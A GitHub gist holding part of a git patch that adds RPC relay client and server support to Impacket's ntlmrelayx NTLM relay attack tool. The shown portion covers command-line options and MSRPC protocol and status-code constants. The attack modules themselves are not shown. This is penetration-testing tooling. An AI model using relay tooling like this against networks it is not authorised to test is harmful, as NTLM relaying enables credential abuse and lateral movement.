-
-
Save Gilks/0fc75929faba704c05143b01f34c291b to your computer and use it in GitHub Desktop.
RPC Relay Client and Server Patch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From 53256e4b29331df20a5977b54c1741b2adc30394 Mon Sep 17 00:00:00 2001 | |
From: root <root@localhost.localdomain> | |
Date: Wed, 9 Sep 2020 11:54:00 +0200 | |
Subject: [PATCH] RPC Relay client and server | |
--- | |
examples/ntlmrelayx.py | 12 +- | |
impacket/dcerpc/v5/dcomrt.py | 30 +- | |
impacket/dcerpc/v5/rpcrt.py | 624 ++++++++++++++++-- | |
.../examples/ntlmrelayx/attacks/rpcattack.py | 95 +++ | |
.../ntlmrelayx/clients/rpcrelayclient.py | 174 +++++ | |
.../examples/ntlmrelayx/servers/__init__.py | 1 + | |
.../ntlmrelayx/servers/rpcrelayserver.py | 381 +++++++++++ | |
impacket/ntlm.py | 7 +- | |
tests/SMB_RPC/test_ldap.py | 4 +- | |
tests/SMB_RPC/test_rpcrt.py | 6 +- | |
tests/SMB_RPC/test_samr.py | 4 +- | |
11 files changed, 1266 insertions(+), 72 deletions(-) | |
create mode 100644 impacket/examples/ntlmrelayx/attacks/rpcattack.py | |
create mode 100644 impacket/examples/ntlmrelayx/clients/rpcrelayclient.py | |
create mode 100644 impacket/examples/ntlmrelayx/servers/rpcrelayserver.py | |
diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py | |
index c53da8fa..86974121 100755 | |
--- a/examples/ntlmrelayx.py | |
+++ b/examples/ntlmrelayx.py | |
@@ -10,6 +10,7 @@ | |
# Authors: | |
# Alberto Solino (@agsolino) | |
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) | |
+# Sylvain Heiniger / Compass Security (https://www.compass-security.com) | |
# | |
# Description: | |
# This module performs the SMB Relay attacks originally discovered | |
@@ -46,7 +47,7 @@ from threading import Thread | |
from impacket import version | |
from impacket.examples import logger | |
-from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer | |
+from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, RPCRelayServer | |
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig | |
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher | |
from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS | |
@@ -166,6 +167,8 @@ def start_servers(options, threads): | |
c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) | |
elif server is SMBRelayServer: | |
c.setListeningPort(options.smb_port) | |
+ elif server is RPCRelayServer: | |
+ c.setListeningPort(options.rpc_port) | |
#If the redirect option is set, configure the HTTP server to redirect targets to SMB | |
if server is HTTPRelayServer and options.r is not None: | |
@@ -221,12 +224,14 @@ if __name__ == '__main__': | |
parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' | |
'bind SMB and HTTP servers',default='') | |
- serversoptions = parser.add_mutually_exclusive_group() | |
+ serversoptions = parser.add_argument_group() | |
serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') | |
serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') | |
+ serversoptions.add_argument('--no-rpc-server', action='store_true', help='Disables the RPC server') | |
parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) | |
parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80) | |
+ parser.add_argument('--rpc-port', type=int, help='Port to listen on rpc server', default=135) | |
parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') | |
parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') | |
@@ -342,6 +347,9 @@ if __name__ == '__main__': | |
targetSystem = None | |
mode = 'REFLECTION' | |
+ if not options.no_rpc_server: | |
+ RELAY_SERVERS.append(RPCRelayServer) | |
+ | |
if not options.no_smb_server: | |
RELAY_SERVERS.append(SMBRelayServer) | |
diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py | |
index 1353eeaf..94f1206d 100644 | |
--- a/impacket/dcerpc/v5/dcomrt.py | |
+++ b/impacket/dcerpc/v5/dcomrt.py | |
@@ -66,6 +66,34 @@ IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-0000000 | |
IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0')) | |
IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0')) | |
+# Protocol Identifiers, from [c706] Annex I | |
+TOWERID_OSI_TP4 = 0x05 | |
+TOWERID_OSI_CLNS = 0x06 | |
+TOWERID_DOD_TCP = 0x0007 | |
+TOWERID_DOD_UDP = 0x08 | |
+TOWERID_DOD_IP = 0x09 | |
+TOWERID_RPC_connectionless = 0x0a | |
+TOWERID_RPC_connectionoriented = 0x0b | |
+TOWERID_DNA_Session_Control = 0x02 | |
+TOWERID_DNA_Session_Control_V3 = 0x03 | |
+TOWERID_DNA_NSP_Transport = 0x04 | |
+TOWERID_DNA_Routing = 0x06 | |
+TOWERID_Named_Pipes = 0x10 | |
+TOWERID_NetBIOS_11 = 0x11 | |
+TOWERID_NetBEUI = 0x12 | |
+TOWERID_Netware_SPX = 0x13 | |
+TOWERID_Netware_IPX = 0x14 | |
+TOWERID_Appletalk_Stream = 0x16 | |
+TOWERID_Appletalk_Datagram = 0x17 | |
+TOWERID_Appletalk = 0x18 | |
+TOWERID_NetBIOS_19 = 0x19 | |
+TOWERID_VINES_SPP = 0x1A | |
+TOWERID_VINES_IPC = 0x1B | |
+TOWERID_StreetTalk = 0x1C | |
+TOWERID_Unix_Domain_socket = 0x20 | |
+TOWERID_null = 0x21 | |
+TOWERID_NetBIOS_22 = 0x22 | |
+ | |
class DCERPCSessionError(DCERPCException): | |
def __init__(self, error_string=None, error_code=None, packet=None): | |
DCERPCException.__init__(self, error_string, error_code, packet) | |
@@ -819,7 +847,7 @@ class ServerAlive2Response(NDRCALL): | |
('pComVersion', COMVERSION), | |
('ppdsaOrBindings', PDUALSTRINGARRAY), | |
('pReserved', LPLONG), | |
- ('ErrorCode', error_status_t), | |
+ #('ErrorCode', error_status_t), | |
) | |
# 3.1.2.5.2.3.1 IActivation:: RemoteActivation (Opnum 0) | |
diff --git a/impacket/dcerpc/v5/rpcrt.py b/impacket/dcerpc/v5/rpcrt.py | |
index dce7a523..383c2bb4 100644 | |
--- a/impacket/dcerpc/v5/rpcrt.py | |
+++ b/impacket/dcerpc/v5/rpcrt.py | |
@@ -26,7 +26,7 @@ from Cryptodome.Cipher import ARC4 | |
from impacket import ntlm, LOG | |
from impacket.structure import Structure,pack,unpack | |
from impacket.krb5 import kerberosv5, gssapi | |
-from impacket.uuid import uuidtup_to_bin, generate, stringver_to_bin, bin_to_uuidtup | |
+from impacket.uuid import uuidtup_to_bin, generate, stringver_to_bin, bin_to_uuidtup, bin_to_string | |
from impacket.dcerpc.v5.dtypes import UCHAR, ULONG, USHORT | |
from impacket.dcerpc.v5.ndr import NDRSTRUCT | |
from impacket import hresult_errors | |
@@ -55,6 +55,29 @@ MSRPC_CO_CANCEL = 0x12 | |
MSRPC_ORPHANED = 0x13 | |
MSRPC_RTS = 0x14 | |
+msrpc_message_type = { | |
+ 0x00: 'MSRPC REQUEST', | |
+ 0x01: 'MSRPC PING', | |
+ 0x02: 'MSRPC RESPONSE', | |
+ 0x03: 'MSRPC FAULT', | |
+ 0x04: 'MSRPC WORKING', | |
+ 0x05: 'MSRPC NOCALL', | |
+ 0x06: 'MSRPC REJECT', | |
+ 0x07: 'MSRPC ACK', | |
+ 0x08: 'MSRPC CL CANCEL', | |
+ 0x09: 'MSRPC FACK', | |
+ 0x0A: 'MSRPC CANCELACK', | |
+ 0x0B: 'MSRPC BIND', | |
+ 0x0C: 'MSRPC BINDACK', | |
+ 0x0D: 'MSRPC BINDNAK', | |
+ 0x0E: 'MSRPC ALTERCTX', | |
+ 0x0F: 'MSRPC ALTERCTX R', | |
+ 0x10: 'MSRPC AUTH3', | |
+ 0x11: 'MSRPC SHUTDOWN', | |
+ 0x12: 'MSRPC CO CANCEL', | |
+ 0x13: 'MSRPC ORPHANED' | |
+} | |
+ | |
# MS/RPC Packet Flags | |
PFC_FIRST_FRAG = 0x01 | |
PFC_LAST_FRAG = 0x02 | |
@@ -104,6 +127,7 @@ rpc_provider_reason = { | |
MSRPC_CONT_RESULT_ACCEPT = 0 | |
MSRPC_CONT_RESULT_USER_REJECT = 1 | |
MSRPC_CONT_RESULT_PROV_REJECT = 2 | |
+MSRPC_CONT_RESULT_NEGOTIATE_ACK = 3 | |
#Results of a presentation context negotiation | |
rpc_cont_def_result = { | |
@@ -542,6 +566,436 @@ rpc_status_codes = { | |
0x16c9a171 : "rpc_s_no_context_available", | |
} | |
+MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED = 0X00000005 | |
+MSRPC_STATUS_CODE_AUTHENTICATION_TYPE_NOT_RECOGNIZED = 0X00000008 | |
+MSRPC_STATUS_CODE_RPC_FAULT_CANT_PERFORM = 0X000006D8 | |
+MSRPC_STATUS_CODE_RPC_X_INVALID_BOUND = 0X000006C6 | |
+MSRPC_STATUS_CODE_RPC_S_CANNOT_SUPPORT = 0X000006E4 | |
+MSRPC_STATUS_CODE_RPC_X_BAD_STUB_DATA = 0X000006F7 | |
+MSRPC_STATUS_CODE_NCA_S_COMM_FAILURE = 0X1C010001 | |
+MSRPC_STATUS_CODE_NCA_S_OP_RNG_ERROR = 0X1C010002 | |
+MSRPC_STATUS_CODE_NCA_S_UNK_IF = 0X1C010003 | |
+MSRPC_STATUS_CODE_NCA_S_WRONG_BOOT_TIME = 0X1C010006 | |
+MSRPC_STATUS_CODE_NCA_S_YOU_CRASHED = 0X1C010009 | |
+MSRPC_STATUS_CODE_NCA_S_PROTO_ERROR = 0X1C01000B | |
+MSRPC_STATUS_CODE_NCA_S_OUT_ARGS_TOO_BIG = 0X1C010013 | |
+MSRPC_STATUS_CODE_NCA_S_SERVER_TOO_BUSY = 0X1C010014 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_STRING_TOO_LONG = 0X1C010015 | |
+MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE = 0X1C010017 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_INT_DIV_BY_ZERO = 0X1C000001 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_ADDR_ERROR = 0X1C000002 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_DIV_ZERO = 0X1C000003 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_UNDERFLOW = 0X1C000004 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_OVERFLOW = 0X1C000005 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_INVALID_TAG = 0X1C000006 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_INVALID_BOUND = 0X1C000007 | |
+MSRPC_STATUS_CODE_NCA_S_RPC_VERSION_MISMATCH = 0X1C000008 | |
+MSRPC_STATUS_CODE_NCA_S_UNSPEC_REJECT = 0X1C000009 | |
+MSRPC_STATUS_CODE_NCA_S_BAD_ACTID = 0X1C00000A | |
+MSRPC_STATUS_CODE_NCA_S_WHO_ARE_YOU_FAILED = 0X1C00000B | |
+MSRPC_STATUS_CODE_NCA_S_MANAGER_NOT_ENTERED = 0X1C00000C | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_CANCEL = 0X1C00000D | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_ILL_INST = 0X1C00000E | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_ERROR = 0X1C00000F | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_INT_OVERFLOW = 0X1C000010 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_UNSPEC = 0X1C000012 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_REMOTE_COMM_FAILURE = 0X1C000013 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_EMPTY = 0X1C000014 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_CLOSED = 0X1C000015 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_ORDER = 0X1C000016 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_DISCIPLINE = 0X1C000017 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_COMM_ERROR = 0X1C000018 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_MEMORY = 0X1C000019 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_CONTEXT_MISMATCH = 0X1C00001A | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_REMOTE_NO_MEMORY = 0X1C00001B | |
+MSRPC_STATUS_CODE_NCA_S_INVALID_PRES_CONTEXT_ID = 0X1C00001C | |
+MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_AUTHN_LEVEL = 0X1C00001D | |
+MSRPC_STATUS_CODE_NCA_S_INVALID_CHECKSUM = 0X1C00001F | |
+MSRPC_STATUS_CODE_NCA_S_INVALID_CRC = 0X1C000020 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_USER_DEFINED = 0X1C000021 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_TX_OPEN_FAILED = 0X1C000022 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_CODESET_CONV_ERROR = 0X1C000023 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_OBJECT_NOT_FOUND = 0X1C000024 | |
+MSRPC_STATUS_CODE_NCA_S_FAULT_NO_CLIENT_STUB = 0X1C000025 | |
+MSRPC_STATUS_CODE_RPC_S_MOD = 0X16C9A000 | |
+MSRPC_STATUS_CODE_RPC_S_OP_RNG_ERROR = 0X16C9A001 | |
+MSRPC_STATUS_CODE_RPC_S_CANT_CREATE_SOCKET = 0X16C9A002 | |
+MSRPC_STATUS_CODE_RPC_S_CANT_BIND_SOCKET = 0X16C9A003 | |
+MSRPC_STATUS_CODE_RPC_S_NOT_IN_CALL = 0X16C9A004 | |
+MSRPC_STATUS_CODE_RPC_S_NO_PORT = 0X16C9A005 | |
+MSRPC_STATUS_CODE_RPC_S_WRONG_BOOT_TIME = 0X16C9A006 | |
+MSRPC_STATUS_CODE_RPC_S_TOO_MANY_SOCKETS = 0X16C9A007 | |
+MSRPC_STATUS_CODE_RPC_S_ILLEGAL_REGISTER = 0X16C9A008 | |
+MSRPC_STATUS_CODE_RPC_S_CANT_RECV = 0X16C9A009 | |
+MSRPC_STATUS_CODE_RPC_S_BAD_PKT = 0X16C9A00A | |
+MSRPC_STATUS_CODE_RPC_S_UNBOUND_HANDLE = 0X16C9A00B | |
+MSRPC_STATUS_CODE_RPC_S_ADDR_IN_USE = 0X16C9A00C | |
+MSRPC_STATUS_CODE_RPC_S_IN_ARGS_TOO_BIG = 0X16C9A00D | |
+MSRPC_STATUS_CODE_RPC_S_STRING_TOO_LONG = 0X16C9A00E | |
+MSRPC_STATUS_CODE_RPC_S_TOO_MANY_OBJECTS = 0X16C9A00F | |
+MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH = 0X16C9A010 | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_AUTHN_SERVICE = 0X16C9A011 | |
+MSRPC_STATUS_CODE_RPC_S_NO_MEMORY = 0X16C9A012 | |
+MSRPC_STATUS_CODE_RPC_S_CANT_NMALLOC = 0X16C9A013 | |
+MSRPC_STATUS_CODE_RPC_S_CALL_FAULTED = 0X16C9A014 | |
+MSRPC_STATUS_CODE_RPC_S_CALL_FAILED = 0X16C9A015 | |
+MSRPC_STATUS_CODE_RPC_S_COMM_FAILURE = 0X16C9A016 | |
+MSRPC_STATUS_CODE_RPC_S_RPCD_COMM_FAILURE = 0X16C9A017 | |
+MSRPC_STATUS_CODE_RPC_S_ILLEGAL_FAMILY_REBIND = 0X16C9A018 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_HANDLE = 0X16C9A019 | |
+MSRPC_STATUS_CODE_RPC_S_CODING_ERROR = 0X16C9A01A | |
+MSRPC_STATUS_CODE_RPC_S_OBJECT_NOT_FOUND = 0X16C9A01B | |
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_NOT_FOUND = 0X16C9A01C | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_BINDING = 0X16C9A01D | |
+MSRPC_STATUS_CODE_RPC_S_ALREADY_REGISTERED = 0X16C9A01E | |
+MSRPC_STATUS_CODE_RPC_S_ENDPOINT_NOT_FOUND = 0X16C9A01F | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_RPC_PROTSEQ = 0X16C9A020 | |
+MSRPC_STATUS_CODE_RPC_S_DESC_NOT_REGISTERED = 0X16C9A021 | |
+MSRPC_STATUS_CODE_RPC_S_ALREADY_LISTENING = 0X16C9A022 | |
+MSRPC_STATUS_CODE_RPC_S_NO_PROTSEQS = 0X16C9A023 | |
+MSRPC_STATUS_CODE_RPC_S_NO_PROTSEQS_REGISTERED = 0X16C9A024 | |
+MSRPC_STATUS_CODE_RPC_S_NO_BINDINGS = 0X16C9A025 | |
+MSRPC_STATUS_CODE_RPC_S_MAX_DESCS_EXCEEDED = 0X16C9A026 | |
+MSRPC_STATUS_CODE_RPC_S_NO_INTERFACES = 0X16C9A027 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_TIMEOUT = 0X16C9A028 | |
+MSRPC_STATUS_CODE_RPC_S_CANT_INQ_SOCKET = 0X16C9A029 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_NAF_ID = 0X16C9A02A | |
+MSRPC_STATUS_CODE_RPC_S_INVAL_NET_ADDR = 0X16C9A02B | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_IF = 0X16C9A02C | |
+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_TYPE = 0X16C9A02D | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_CALL_OPT = 0X16C9A02E | |
+MSRPC_STATUS_CODE_RPC_S_NO_FAULT = 0X16C9A02F | |
+MSRPC_STATUS_CODE_RPC_S_CANCEL_TIMEOUT = 0X16C9A030 | |
+MSRPC_STATUS_CODE_RPC_S_CALL_CANCELLED = 0X16C9A031 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_CALL_HANDLE = 0X16C9A032 | |
+MSRPC_STATUS_CODE_RPC_S_CANNOT_ALLOC_ASSOC = 0X16C9A033 | |
+MSRPC_STATUS_CODE_RPC_S_CANNOT_CONNECT = 0X16C9A034 | |
+MSRPC_STATUS_CODE_RPC_S_CONNECTION_ABORTED = 0X16C9A035 | |
+MSRPC_STATUS_CODE_RPC_S_CONNECTION_CLOSED = 0X16C9A036 | |
+MSRPC_STATUS_CODE_RPC_S_CANNOT_ACCEPT = 0X16C9A037 | |
+MSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_NOT_FOUND = 0X16C9A038 | |
+MSRPC_STATUS_CODE_RPC_S_STUB_INTERFACE_ERROR = 0X16C9A039 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_OBJECT = 0X16C9A03A | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_TYPE = 0X16C9A03B | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_IF_OPNUM = 0X16C9A03C | |
+MSRPC_STATUS_CODE_RPC_S_DIFFERENT_SERVER_INSTANCE = 0X16C9A03D | |
+MSRPC_STATUS_CODE_RPC_S_PROTOCOL_ERROR = 0X16C9A03E | |
+MSRPC_STATUS_CODE_RPC_S_CANT_RECVMSG = 0X16C9A03F | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_STRING_BINDING = 0X16C9A040 | |
+MSRPC_STATUS_CODE_RPC_S_CONNECT_TIMED_OUT = 0X16C9A041 | |
+MSRPC_STATUS_CODE_RPC_S_CONNECT_REJECTED = 0X16C9A042 | |
+MSRPC_STATUS_CODE_RPC_S_NETWORK_UNREACHABLE = 0X16C9A043 | |
+MSRPC_STATUS_CODE_RPC_S_CONNECT_NO_RESOURCES = 0X16C9A044 | |
+MSRPC_STATUS_CODE_RPC_S_REM_NETWORK_SHUTDOWN = 0X16C9A045 | |
+MSRPC_STATUS_CODE_RPC_S_TOO_MANY_REM_CONNECTS = 0X16C9A046 | |
+MSRPC_STATUS_CODE_RPC_S_NO_REM_ENDPOINT = 0X16C9A047 | |
+MSRPC_STATUS_CODE_RPC_S_REM_HOST_DOWN = 0X16C9A048 | |
+MSRPC_STATUS_CODE_RPC_S_HOST_UNREACHABLE = 0X16C9A049 | |
+MSRPC_STATUS_CODE_RPC_S_ACCESS_CONTROL_INFO_INV = 0X16C9A04A | |
+MSRPC_STATUS_CODE_RPC_S_LOC_CONNECT_ABORTED = 0X16C9A04B | |
+MSRPC_STATUS_CODE_RPC_S_CONNECT_CLOSED_BY_REM = 0X16C9A04C | |
+MSRPC_STATUS_CODE_RPC_S_REM_HOST_CRASHED = 0X16C9A04D | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_ENDPOINT_FORMAT = 0X16C9A04E | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_STATUS_CODE = 0X16C9A04F | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_MGR_TYPE = 0X16C9A050 | |
+MSRPC_STATUS_CODE_RPC_S_ASSOC_CREATION_FAILED = 0X16C9A051 | |
+MSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_MAX_EXCEEDED = 0X16C9A052 | |
+MSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_ALLOC_FAILED = 0X16C9A053 | |
+MSRPC_STATUS_CODE_RPC_S_SM_INVALID_STATE = 0X16C9A054 | |
+MSRPC_STATUS_CODE_RPC_S_ASSOC_REQ_REJECTED = 0X16C9A055 | |
+MSRPC_STATUS_CODE_RPC_S_ASSOC_SHUTDOWN = 0X16C9A056 | |
+MSRPC_STATUS_CODE_RPC_S_TSYNTAXES_UNSUPPORTED = 0X16C9A057 | |
+MSRPC_STATUS_CODE_RPC_S_CONTEXT_ID_NOT_FOUND = 0X16C9A058 | |
+MSRPC_STATUS_CODE_RPC_S_CANT_LISTEN_SOCKET = 0X16C9A059 | |
+MSRPC_STATUS_CODE_RPC_S_NO_ADDRS = 0X16C9A05A | |
+MSRPC_STATUS_CODE_RPC_S_CANT_GETPEERNAME = 0X16C9A05B | |
+MSRPC_STATUS_CODE_RPC_S_CANT_GET_IF_ID = 0X16C9A05C | |
+MSRPC_STATUS_CODE_RPC_S_PROTSEQ_NOT_SUPPORTED = 0X16C9A05D | |
+MSRPC_STATUS_CODE_RPC_S_CALL_ORPHANED = 0X16C9A05E | |
+MSRPC_STATUS_CODE_RPC_S_WHO_ARE_YOU_FAILED = 0X16C9A05F | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_REJECT = 0X16C9A060 | |
+MSRPC_STATUS_CODE_RPC_S_TYPE_ALREADY_REGISTERED = 0X16C9A061 | |
+MSRPC_STATUS_CODE_RPC_S_STOP_LISTENING_DISABLED = 0X16C9A062 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_ARG = 0X16C9A063 | |
+MSRPC_STATUS_CODE_RPC_S_NOT_SUPPORTED = 0X16C9A064 | |
+MSRPC_STATUS_CODE_RPC_S_WRONG_KIND_OF_BINDING = 0X16C9A065 | |
+MSRPC_STATUS_CODE_RPC_S_AUTHN_AUTHZ_MISMATCH = 0X16C9A066 | |
+MSRPC_STATUS_CODE_RPC_S_CALL_QUEUED = 0X16C9A067 | |
+MSRPC_STATUS_CODE_RPC_S_CANNOT_SET_NODELAY = 0X16C9A068 | |
+MSRPC_STATUS_CODE_RPC_S_NOT_RPC_TOWER = 0X16C9A069 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_RPC_PROTID = 0X16C9A06A | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_RPC_FLOOR = 0X16C9A06B | |
+MSRPC_STATUS_CODE_RPC_S_CALL_TIMEOUT = 0X16C9A06C | |
+MSRPC_STATUS_CODE_RPC_S_MGMT_OP_DISALLOWED = 0X16C9A06D | |
+MSRPC_STATUS_CODE_RPC_S_MANAGER_NOT_ENTERED = 0X16C9A06E | |
+MSRPC_STATUS_CODE_RPC_S_CALLS_TOO_LARGE_FOR_WK_EP = 0X16C9A06F | |
+MSRPC_STATUS_CODE_RPC_S_SERVER_TOO_BUSY = 0X16C9A070 | |
+MSRPC_STATUS_CODE_RPC_S_PROT_VERSION_MISMATCH = 0X16C9A071 | |
+MSRPC_STATUS_CODE_RPC_S_RPC_PROT_VERSION_MISMATCH = 0X16C9A072 | |
+MSRPC_STATUS_CODE_RPC_S_SS_NO_IMPORT_CURSOR = 0X16C9A073 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_ADDR_ERROR = 0X16C9A074 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_CONTEXT_MISMATCH = 0X16C9A075 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_DIV_BY_ZERO = 0X16C9A076 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_ERROR = 0X16C9A077 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_OVERFLOW = 0X16C9A078 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_UNDERFLOW = 0X16C9A079 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_ILL_INST = 0X16C9A07A | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_INT_DIV_BY_ZERO = 0X16C9A07B | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_INT_OVERFLOW = 0X16C9A07C | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_INVALID_BOUND = 0X16C9A07D | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_INVALID_TAG = 0X16C9A07E | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_CLOSED = 0X16C9A07F | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_COMM_ERROR = 0X16C9A080 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_DISCIPLINE = 0X16C9A081 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_EMPTY = 0X16C9A082 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_MEMORY = 0X16C9A083 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_ORDER = 0X16C9A084 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_REMOTE_COMM_FAILURE = 0X16C9A085 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_REMOTE_NO_MEMORY = 0X16C9A086 | |
+MSRPC_STATUS_CODE_RPC_S_FAULT_UNSPEC = 0X16C9A087 | |
+MSRPC_STATUS_CODE_UUID_S_BAD_VERSION = 0X16C9A088 | |
+MSRPC_STATUS_CODE_UUID_S_SOCKET_FAILURE = 0X16C9A089 | |
+MSRPC_STATUS_CODE_UUID_S_GETCONF_FAILURE = 0X16C9A08A | |
+MSRPC_STATUS_CODE_UUID_S_NO_ADDRESS = 0X16C9A08B | |
+MSRPC_STATUS_CODE_UUID_S_OVERRUN = 0X16C9A08C | |
+MSRPC_STATUS_CODE_UUID_S_INTERNAL_ERROR = 0X16C9A08D | |
+MSRPC_STATUS_CODE_UUID_S_CODING_ERROR = 0X16C9A08E | |
+MSRPC_STATUS_CODE_UUID_S_INVALID_STRING_UUID = 0X16C9A08F | |
+MSRPC_STATUS_CODE_UUID_S_NO_MEMORY = 0X16C9A090 | |
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_ENTRIES = 0X16C9A091 | |
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_NS_ERROR = 0X16C9A092 | |
+MSRPC_STATUS_CODE_RPC_S_NAME_SERVICE_UNAVAILABLE = 0X16C9A093 | |
+MSRPC_STATUS_CODE_RPC_S_INCOMPLETE_NAME = 0X16C9A094 | |
+MSRPC_STATUS_CODE_RPC_S_GROUP_NOT_FOUND = 0X16C9A095 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_NAME_SYNTAX = 0X16C9A096 | |
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_MEMBERS = 0X16C9A097 | |
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_INTERFACES = 0X16C9A098 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_NAME_SERVICE = 0X16C9A099 | |
+MSRPC_STATUS_CODE_RPC_S_NO_NAME_MAPPING = 0X16C9A09A | |
+MSRPC_STATUS_CODE_RPC_S_PROFILE_NOT_FOUND = 0X16C9A09B | |
+MSRPC_STATUS_CODE_RPC_S_NOT_FOUND = 0X16C9A09C | |
+MSRPC_STATUS_CODE_RPC_S_NO_UPDATES = 0X16C9A09D | |
+MSRPC_STATUS_CODE_RPC_S_UPDATE_FAILED = 0X16C9A09E | |
+MSRPC_STATUS_CODE_RPC_S_NO_MATCH_EXPORTED = 0X16C9A09F | |
+MSRPC_STATUS_CODE_RPC_S_ENTRY_NOT_FOUND = 0X16C9A0A0 | |
+MSRPC_STATUS_CODE_RPC_S_INVALID_INQUIRY_CONTEXT = 0X16C9A0A1 | |
+MSRPC_STATUS_CODE_RPC_S_INTERFACE_NOT_FOUND = 0X16C9A0A2 | |
+MSRPC_STATUS_CODE_RPC_S_GROUP_MEMBER_NOT_FOUND = 0X16C9A0A3 | |
+MSRPC_STATUS_CODE_RPC_S_ENTRY_ALREADY_EXISTS = 0X16C9A0A4 | |
+MSRPC_STATUS_CODE_RPC_S_NSINIT_FAILURE = 0X16C9A0A5 | |
